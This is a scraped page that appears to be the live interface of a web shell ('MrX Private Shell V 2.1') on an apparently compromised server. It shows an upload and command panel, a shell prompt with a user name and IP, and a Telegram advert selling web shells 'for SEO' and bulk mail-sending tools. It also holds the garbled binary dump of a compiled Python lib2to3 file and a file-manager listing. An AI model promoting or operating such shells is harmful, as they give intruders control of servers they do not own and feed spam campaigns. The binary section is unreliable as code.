__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.200: ~ $
o

0�i
�@sfdZddlmZddlmZddlmZddlmZmZm	Z	m
Z
mZmZdd�Z
Gdd	�d	ej�Zd
S)a�Fixer for except statements with named exceptions.

The following cases will be converted:

- "except E, T:" where T is a name:

    except E as T:

- "except E, T:" where T is not a name, tuple or list:

        except E as t:
            T = t

    This is done because the target of an "except" clause must be a
    name.

- "except E, T:" where T is a tuple or list literal:

        except E as t:
            T = t.args
�)�pytree)�token)�
fixer_base)�Assign�Attr�Name�is_tuple�is_list�symsccsF�t|�D]\}}|jtjkr |jdjdkr |||dfVqdS)N��exceptr)�	enumerate�typer
�
except_clause�children�value)Znodes�i�n�r�?/opt/alt/python310/lib64/python3.10/lib2to3/fixes/fix_except.py�find_exceptss���rc@seZdZdZdZdd�ZdS)�	FixExceptTa1
    try_stmt< 'try' ':' (simple_stmt | suite)
                  cleanup=(except_clause ':' (simple_stmt | suite))+
                  tail=(['except' ':' (simple_stmt | suite)]
                        ['else' ':' (simple_stmt | suite)]
                        ['finally' ':' (simple_stmt | suite)]) >
    cCsr|j}dd�|dD�}dd�|dD�}t|�D]�\}}t|j�dkr�|jdd�\}}	}
|	�tdd	d
��|
jtjkr�t|�	�d	d
�}|
�
�}d|_|
�|�|�
�}|j}
t|
�D]\}}t
|tj�rhnq\t|
�sqt|
�r|t|t|td���}nt||�}t|
d|��D]}|�d
|�q�|�||�q|
jdkr�d	|
_qdd�|jdd�D�||}t�|j|�S)NcS�g|]}|���qSr��clone)�.0rrrr�
<listcomp>2�z'FixExcept.transform.<locals>.<listcomp>�tailcSrrr)rZchrrrr4rZcleanup���as� )�prefix��argsrcSrrr)r�crrrr\r�)r
r�lenr�replacerrr�NAME�new_namerr#r
�
isinstancerZNoderr	rr�reversedZinsert_child)�selfZnodeZresultsr
rZtry_cleanuprZe_suite�EZcomma�NZnew_N�targetZsuite_stmtsrZstmtZassign�childrrrr�	transform/s:
�

� zFixExcept.transformN)�__name__�
__module__�__qualname__Z
BM_compatibleZPATTERNr3rrrrr$srN)�__doc__r$rZpgen2rrZ
fixer_utilrrrrr	r
rZBaseFixrrrrr�<module>s 

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.opt-1.pyc File 154 B 0644
__init__.cpython-310.opt-2.pyc File 154 B 0644
__init__.cpython-310.pyc File 154 B 0644
fix_apply.cpython-310.opt-1.pyc File 1.62 KB 0644
fix_apply.cpython-310.opt-2.pyc File 1.54 KB 0644
fix_apply.cpython-310.pyc File 1.63 KB 0644
fix_asserts.cpython-310.opt-1.pyc File 1.26 KB 0644
fix_asserts.cpython-310.opt-2.pyc File 1.2 KB 0644
fix_asserts.cpython-310.pyc File 1.26 KB 0644
fix_basestring.cpython-310.opt-1.pyc File 677 B 0644
fix_basestring.cpython-310.opt-2.pyc File 636 B 0644
fix_basestring.cpython-310.pyc File 677 B 0644
fix_buffer.cpython-310.opt-1.pyc File 822 B 0644
fix_buffer.cpython-310.opt-2.pyc File 757 B 0644
fix_buffer.cpython-310.pyc File 822 B 0644
fix_dict.cpython-310.opt-1.pyc File 3.18 KB 0644
fix_dict.cpython-310.opt-2.pyc File 2.31 KB 0644
fix_dict.cpython-310.pyc File 3.23 KB 0644
fix_except.cpython-310.opt-1.pyc File 2.72 KB 0644
fix_except.cpython-310.opt-2.pyc File 2.29 KB 0644
fix_except.cpython-310.pyc File 2.72 KB 0644
fix_exec.cpython-310.opt-1.pyc File 1.11 KB 0644
fix_exec.cpython-310.opt-2.pyc File 975 B 0644
fix_exec.cpython-310.pyc File 1.12 KB 0644
fix_execfile.cpython-310.opt-1.pyc File 1.64 KB 0644
fix_execfile.cpython-310.opt-2.pyc File 1.52 KB 0644
fix_execfile.cpython-310.pyc File 1.65 KB 0644
fix_exitfunc.cpython-310.opt-1.pyc File 2.27 KB 0644
fix_exitfunc.cpython-310.opt-2.pyc File 2.2 KB 0644
fix_exitfunc.cpython-310.pyc File 2.27 KB 0644
fix_filter.cpython-310.opt-1.pyc File 2.4 KB 0644
fix_filter.cpython-310.opt-2.pyc File 1.95 KB 0644
fix_filter.cpython-310.pyc File 2.4 KB 0644
fix_funcattrs.cpython-310.opt-1.pyc File 990 B 0644
fix_funcattrs.cpython-310.opt-2.pyc File 926 B 0644
fix_funcattrs.cpython-310.pyc File 990 B 0644
fix_future.cpython-310.opt-1.pyc File 798 B 0644
fix_future.cpython-310.opt-2.pyc File 699 B 0644
fix_future.cpython-310.pyc File 798 B 0644
fix_getcwdu.cpython-310.opt-1.pyc File 802 B 0644
fix_getcwdu.cpython-310.opt-2.pyc File 740 B 0644
fix_getcwdu.cpython-310.pyc File 802 B 0644
fix_has_key.cpython-310.opt-1.pyc File 2.82 KB 0644
fix_has_key.cpython-310.opt-2.pyc File 2.26 KB 0644
fix_has_key.cpython-310.pyc File 2.83 KB 0644
fix_idioms.cpython-310.opt-1.pyc File 3.77 KB 0644
fix_idioms.cpython-310.opt-2.pyc File 3.29 KB 0644
fix_idioms.cpython-310.pyc File 3.83 KB 0644
fix_import.cpython-310.opt-1.pyc File 2.76 KB 0644
fix_import.cpython-310.opt-2.pyc File 2.46 KB 0644
fix_import.cpython-310.pyc File 2.76 KB 0644
fix_imports.cpython-310.opt-1.pyc File 4.53 KB 0644
fix_imports.cpython-310.opt-2.pyc File 4.48 KB 0644
fix_imports.cpython-310.pyc File 4.53 KB 0644
fix_imports2.cpython-310.opt-1.pyc File 560 B 0644
fix_imports2.cpython-310.opt-2.pyc File 463 B 0644
fix_imports2.cpython-310.pyc File 560 B 0644
fix_input.cpython-310.opt-1.pyc File 964 B 0644
fix_input.cpython-310.opt-2.pyc File 899 B 0644
fix_input.cpython-310.pyc File 964 B 0644
fix_intern.cpython-310.opt-1.pyc File 1.12 KB 0644
fix_intern.cpython-310.opt-2.pyc File 1.06 KB 0644
fix_intern.cpython-310.pyc File 1.12 KB 0644
fix_isinstance.cpython-310.opt-1.pyc File 1.53 KB 0644
fix_isinstance.cpython-310.opt-2.pyc File 1.23 KB 0644
fix_isinstance.cpython-310.pyc File 1.53 KB 0644
fix_itertools.cpython-310.opt-1.pyc File 1.53 KB 0644
fix_itertools.cpython-310.opt-2.pyc File 1.18 KB 0644
fix_itertools.cpython-310.pyc File 1.53 KB 0644
fix_itertools_imports.cpython-310.opt-1.pyc File 1.53 KB 0644
fix_itertools_imports.cpython-310.opt-2.pyc File 1.45 KB 0644
fix_itertools_imports.cpython-310.pyc File 1.54 KB 0644
fix_long.cpython-310.opt-1.pyc File 725 B 0644
fix_long.cpython-310.opt-2.pyc File 665 B 0644
fix_long.cpython-310.pyc File 725 B 0644
fix_map.cpython-310.opt-1.pyc File 3.02 KB 0644
fix_map.cpython-310.opt-2.pyc File 2.25 KB 0644
fix_map.cpython-310.pyc File 3.02 KB 0644
fix_metaclass.cpython-310.opt-1.pyc File 5.27 KB 0644
fix_metaclass.cpython-310.opt-2.pyc File 3.94 KB 0644
fix_metaclass.cpython-310.pyc File 5.29 KB 0644
fix_methodattrs.cpython-310.opt-1.pyc File 952 B 0644
fix_methodattrs.cpython-310.opt-2.pyc File 880 B 0644
fix_methodattrs.cpython-310.pyc File 952 B 0644
fix_ne.cpython-310.opt-1.pyc File 825 B 0644
fix_ne.cpython-310.opt-2.pyc File 784 B 0644
fix_ne.cpython-310.pyc File 825 B 0644
fix_next.cpython-310.opt-1.pyc File 3.01 KB 0644
fix_next.cpython-310.opt-2.pyc File 2.95 KB 0644
fix_next.cpython-310.pyc File 3.02 KB 0644
fix_nonzero.cpython-310.opt-1.pyc File 937 B 0644
fix_nonzero.cpython-310.opt-2.pyc File 882 B 0644
fix_nonzero.cpython-310.pyc File 937 B 0644
fix_numliterals.cpython-310.opt-1.pyc File 1.01 KB 0644
fix_numliterals.cpython-310.opt-2.pyc File 979 B 0644
fix_numliterals.cpython-310.pyc File 1.01 KB 0644
fix_operator.cpython-310.opt-1.pyc File 4.07 KB 0644
fix_operator.cpython-310.opt-2.pyc File 3.6 KB 0644
fix_operator.cpython-310.pyc File 4.07 KB 0644
fix_paren.cpython-310.opt-1.pyc File 1.37 KB 0644
fix_paren.cpython-310.opt-2.pyc File 1.24 KB 0644
fix_paren.cpython-310.pyc File 1.37 KB 0644
fix_print.cpython-310.opt-1.pyc File 2.21 KB 0644
fix_print.cpython-310.opt-2.pyc File 1.94 KB 0644
fix_print.cpython-310.pyc File 2.27 KB 0644
fix_raise.cpython-310.opt-1.pyc File 2.21 KB 0644
fix_raise.cpython-310.opt-2.pyc File 1.61 KB 0644
fix_raise.cpython-310.pyc File 2.21 KB 0644
fix_raw_input.cpython-310.opt-1.pyc File 809 B 0644
fix_raw_input.cpython-310.opt-2.pyc File 746 B 0644
fix_raw_input.cpython-310.pyc File 809 B 0644
fix_reduce.cpython-310.opt-1.pyc File 1.12 KB 0644
fix_reduce.cpython-310.opt-2.pyc File 1016 B 0644
fix_reduce.cpython-310.pyc File 1.12 KB 0644
fix_reload.cpython-310.opt-1.pyc File 1.13 KB 0644
fix_reload.cpython-310.opt-2.pyc File 1.07 KB 0644
fix_reload.cpython-310.pyc File 1.13 KB 0644
fix_renames.cpython-310.opt-1.pyc File 1.99 KB 0644
fix_renames.cpython-310.opt-2.pyc File 1.92 KB 0644
fix_renames.cpython-310.pyc File 1.99 KB 0644
fix_repr.cpython-310.opt-1.pyc File 859 B 0644
fix_repr.cpython-310.opt-2.pyc File 799 B 0644
fix_repr.cpython-310.pyc File 859 B 0644
fix_set_literal.cpython-310.opt-1.pyc File 1.66 KB 0644
fix_set_literal.cpython-310.opt-2.pyc File 1.59 KB 0644
fix_set_literal.cpython-310.pyc File 1.66 KB 0644
fix_standarderror.cpython-310.opt-1.pyc File 734 B 0644
fix_standarderror.cpython-310.opt-2.pyc File 684 B 0644
fix_standarderror.cpython-310.pyc File 734 B 0644
fix_sys_exc.cpython-310.opt-1.pyc File 1.39 KB 0644
fix_sys_exc.cpython-310.opt-2.pyc File 1.23 KB 0644
fix_sys_exc.cpython-310.pyc File 1.39 KB 0644
fix_throw.cpython-310.opt-1.pyc File 1.78 KB 0644
fix_throw.cpython-310.opt-2.pyc File 1.56 KB 0644
fix_throw.cpython-310.pyc File 1.78 KB 0644
fix_tuple_params.cpython-310.opt-1.pyc File 4.5 KB 0644
fix_tuple_params.cpython-310.opt-2.pyc File 4.17 KB 0644
fix_tuple_params.cpython-310.pyc File 4.5 KB 0644
fix_types.cpython-310.opt-1.pyc File 1.91 KB 0644
fix_types.cpython-310.opt-2.pyc File 1.45 KB 0644
fix_types.cpython-310.pyc File 1.91 KB 0644
fix_unicode.cpython-310.opt-1.pyc File 1.53 KB 0644
fix_unicode.cpython-310.opt-2.pyc File 1.36 KB 0644
fix_unicode.cpython-310.pyc File 1.53 KB 0644
fix_urllib.cpython-310.opt-1.pyc File 5.76 KB 0644
fix_urllib.cpython-310.opt-2.pyc File 5.23 KB 0644
fix_urllib.cpython-310.pyc File 5.76 KB 0644
fix_ws_comma.cpython-310.opt-1.pyc File 1.11 KB 0644
fix_ws_comma.cpython-310.opt-2.pyc File 951 B 0644
fix_ws_comma.cpython-310.pyc File 1.11 KB 0644
fix_xrange.cpython-310.opt-1.pyc File 2.48 KB 0644
fix_xrange.cpython-310.opt-2.pyc File 2.42 KB 0644
fix_xrange.cpython-310.pyc File 2.48 KB 0644
fix_xreadlines.cpython-310.opt-1.pyc File 1.11 KB 0644
fix_xreadlines.cpython-310.opt-2.pyc File 1012 B 0644
fix_xreadlines.cpython-310.pyc File 1.11 KB 0644
fix_zip.cpython-310.opt-1.pyc File 1.56 KB 0644
fix_zip.cpython-310.opt-2.pyc File 1.24 KB 0644
fix_zip.cpython-310.pyc File 1.56 KB 0644